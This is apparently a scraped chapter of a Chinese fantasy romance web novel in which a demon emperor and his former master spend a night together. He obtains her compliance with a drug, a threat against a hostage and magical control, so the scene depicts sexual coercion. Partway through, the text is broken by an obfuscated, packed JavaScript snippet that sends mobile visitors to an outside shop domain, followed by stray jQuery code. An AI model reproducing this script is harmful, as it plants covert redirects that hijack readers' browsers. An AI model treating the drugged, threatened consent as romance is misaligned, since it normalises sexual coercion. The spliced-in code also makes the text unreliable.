第六十四章
风声贯入,奇珍异草簌簌颤动,吹起两人的衣摆,若是抛开方才那点矛头,兴许是番美景。
最先离开的是愈九,大概是案上的奏折不容得人喘息,于是此地空余清微一人观赏,她看着星云翻滚,想了许久。
她知道愈九不喜欢那些话,可还是要说,想必愈九心情很不好,估计会晾着她几天,这样也好,就当图个清净。
夜空中的星辰渐渐失去光泽,魔界的夜来的悄无声息,身后响起脚步声,清微一瞥眼看着近身的小宫婢,眼神询问她的意图。
“姑娘,该就寝了。”小宫婢顶着一张青涩的脸,语气却很像是老资历。
清微:“我还不困。”
小宫婢无视这句话,继续道:“请您就寝。”
清微挑眉,虽然人在魔界屋檐下,可愈九先前很尊重她的个人意愿,除了偶尔的控制身体外,他几乎没强迫过自己这种无关紧要的小事。
可这次她没再说什么,乖乖地跟着提灯的宫婢,可前者领完路后,清微打量完四周,此处并不是昨晚就寝的地方。
想想也是,昨晚跟愈九待在书房凑合了一晚,今天才是正常人住的地方。
不过,红纱似乎多了些,鲜红的薄纱混着紫绸缎缠绕在梁上,一圈又一圈。
清微将门关好,怀着愁绪躺在床上,一闭眼就是小四的不诚、愈九的多疑、李少星的安危……她按了按太阳穴,神经稍微放松一些。
“吱呀”
房门响动,清微刹那紧绷起身子,她明显记得房门是锁好的,脚步声就像白日里的青年一样,越来越近,清微的心脏也止不住地跳动。
屋内昏暗,她瞧着熟悉的轮廓,繁复的衣裳,了然道:“你奏折批完了?”
青年不想说话,戴着玉戒的手扣动着腰间玉带,“咔吧”一下,青年便压身而来,清微凑近了才看清,愈九身上的衣服半紫半红,明显是照着凡间成亲的服饰绣成的,其中似乎还融入了魔界的习俗。
清微一怔:“愈九,你清醒一点,别被——”
禁术影响了……
话还未说完,青年的唇瓣便贴了上来,清微原本撑在床榻边的手缓缓下滑,似乎是难以承受两人的压力,身子刹时躺回衾被中。
愈九很轻松的撬开女子的牙关,与她唇齿交缠,可清微蓦地反应过来自己情不自禁地回应,她一时曲着身子往后退,可漆黑中的男子紧追不舍,直至身子紧挨着墙,清微才得了一丝喘息的机会。
青年的神识透着微亮,浅淡地照亮昔日高高在上的师尊的面容,那样瓷白的脸上此时泛满潮红,红唇粗喘,双眼含着泪地迷离着。
要命。
青年心底的恶劣如雨后春笋般冒出来,他欺身而上,不停地索取,又给她可怜的瞬息去反应,瞧着那透红的脸,像是熟透的果,任人采撷。
“……不……可以……”清微仅存的理智还在抵抗,可不知为何,身子热得厉害。
帝王向来权衡利弊,只想听自己愿意听的,他忽略前半句的“不”,道:“……嗯……可以。”
清微侧头躲开青年的亲热,愈九神识又开始混沌起来,他想不明白,今天带师尊去往那院花草之地时,明明她已经吸够了引人驻足的同心草,夜间药效发作理应失去理智与他圆房,可为什么她还在负隅顽抗。
愈九附耳微语道:“师尊别忘了,李少星还在我手里。”
清微浑身香汗淋漓,面色红晕,可嘴上还呢喃着“不可以”。
愈九受禁术影响情绪,耐心也消耗殆尽,他施出灵力,清微顿时不反抗了,乖巧得过分,眼睛一眨不眨地盯着愈九,贴身蹭着他的婚服,似乎是……求爱?
愈九将无名指上的玉戒取下,他抚摸完师尊的下唇后,将脆绿的玉戒放到她的口中。
“含着。”他恶劣地把这当做师尊和自己一对的证明。
清微全身滚烫,灵力迫使她尽力听清愈九的话,然后照做,最后眼睛湿漉漉地黏在愈九身上,迫切的不像话。
愈九先前确实不太喜欢失魂被控制的师尊,可今夜禁术反噬得厉害,理智也被欲望的潮海埋住,如此听话、可怜、楚人的师尊,简直蚀骨销魂。
“想要就求我。”愈九嗓子沙哑极了,可偏要吊着不给她。
清微双手在他婚服上摩挲,想要解开衣襟,可对方死死扣住衣领,不让她触碰里头,清微焦急又无奈到了极点。
“求……你。”口中的玉戒仍在,此时早已被濡湿,玉上泛着细珠光泽,让这句话也含糊不清。
愈九面上似乎很平静:“听不清。”
清微只好又念好几句,不过都是分分合合的两个字,总是组不到一起,八成是同心草的药效太重,使她意识不清,她只能笨拙的一遍又一遍地喊着这两个字,可怜又可爱。
愈九松开衣领,奖赏般道:“听清了。”
榻上缠绵悱恻,似乎如梁上红纱和紫绸缠绕在一起,一结打上一结,越挣扎便系得越紧,难舍难分。
其实同心草的药效没那么强,后半夜时清微眼神有一瞬的清明,可她没再往后退,前不久,从她察觉到自己的情意开始,便打算遏制住这荒唐的情感。
因为这份爱里蕴藏着算计、猜忌,怀疑,就像梨花白里也掺杂了些杂质,闻着是扑鼻的酒气,分外醇香,可一口下去,咂巴嘴后品出味道,才知道是假酒。
她不想给愈九这份掺水的感情,索性就深埋着、葬在凋零入泥的花里。
可这份入泥的、无处安放的情意在阴湿的土里待了太久、太久,终于破土而出。
既然连酒水都不能酿到完全纯正,又何必拘着感情不放呢。
尽管它晦暗又肮脏,可今夜,清微也放肆地容忍它——
信马由缰。
轩窗外淅淅沥沥响起滴答声,一夜春雨。
不过这短暂的放纵并没有让清微忘却要事,她睁开眼睛,看着青年指尖绕着她的发尾,道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780997|206109||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“愈九,谈谈正事吧。”
“我们白天已经谈过了,结果很不愉快。”青年刚转好的心情又沉郁下来。
清微:“我要见李少星。”
“理由。”
“我对他没那个意思,只是我必须保证他的安危,你能明白吗?”清微心平气和道。
“不可以。”
清微:“……”
清微转过身子独自生闷气,那缕青丝也从愈九手中脱离,两人又恢复了相对无言的状态。
她的事一件件落实不了,回到总部的安排也是一拖再拖,愈九说的同心草不像假话,而她也记得原文中有个确实有这个设定,那么小四为什么要让自己害死愈九呢?
还有愈九,他受禁术影响,情绪极其不稳定,还越发贪图嗜杀的快感,才两天的光景,多少修正门派惨遭灭门。
而本书的故事主线也因李少星被囚逐渐走偏,小四不可信,愈九这里又棘手,当务之急,她得首先保证李少星的安危和修为。
愈九醒来后看着身侧的清微,她睡得似乎很香甜,愈九俯身,本想无声地吻一吻师尊的脸颊,可好巧不巧,熟睡的师尊皱眉翻了个身,这个吻也落空了,他静静地看了清微半晌,道:“我要出一趟远门,不给亲吗?”
那人睡得太沉,恍若未闻。
又是这样,每次他以为关系更进一步时,清微就会不理他。可无论如何,昨晚失去控制后的师尊也没有再反抗,当他意识到这一点时,心情前所未有的好,当然,要是后面不提李少星的话会更好。
额头的神识隐隐冒着黑,似乎都要掩盖住原本明亮的印记,愈九没再多说,他掀被起身,一阵窸窸窣窣后青年便换好了玄袍,绸缎滑下青年的脊背,高挑的身高衬得身姿健瘦好看。
没一会便没了动静,想来是愈九出去了,清微悄悄眯开左眼,往床榻外探看一眼,冷不丁撞上一双清亮如猫儿似的眼眸,眼尾都在勾人。
“师尊,装睡。”愈九倾身贴近她的鼻尖,仿佛某个计谋得逞的得意。
他难得心情这么好,神识四周的黑气尽数殆尽,似乎恢复成清风朗月的正君子。
清微并没有忘记昨晚被拒绝的窘迫,她躺尸般立马闭眼睡觉,头顶传来一声低低浅笑,随后又是一阵无声。
良久,青年帝王道:“师尊,等我回来,我们就再成亲一次,这次是请整个魔界来见证,好吗?”
回应他的是一如既往的寂静。
许久过去,清微再睁开眼睛后,殿内空无一人,唯有一旁半红绣紫的婚袍,那是愈九昨晚穿的,清微撇开视线,不去看那物什。
她昨晚想了很久,还是决定快刀斩乱麻,她不能信小四,不该信愈九,只能走一条险路。
愈九走了一个时辰左右,她简单地吃完早点,迈步出殿门,门口那道静立许久的影子一动,闪出一个人来,还是个熟悉的朋友。
清微:“章将军,愈九竟然把你留下来看管我,也当真舍得。”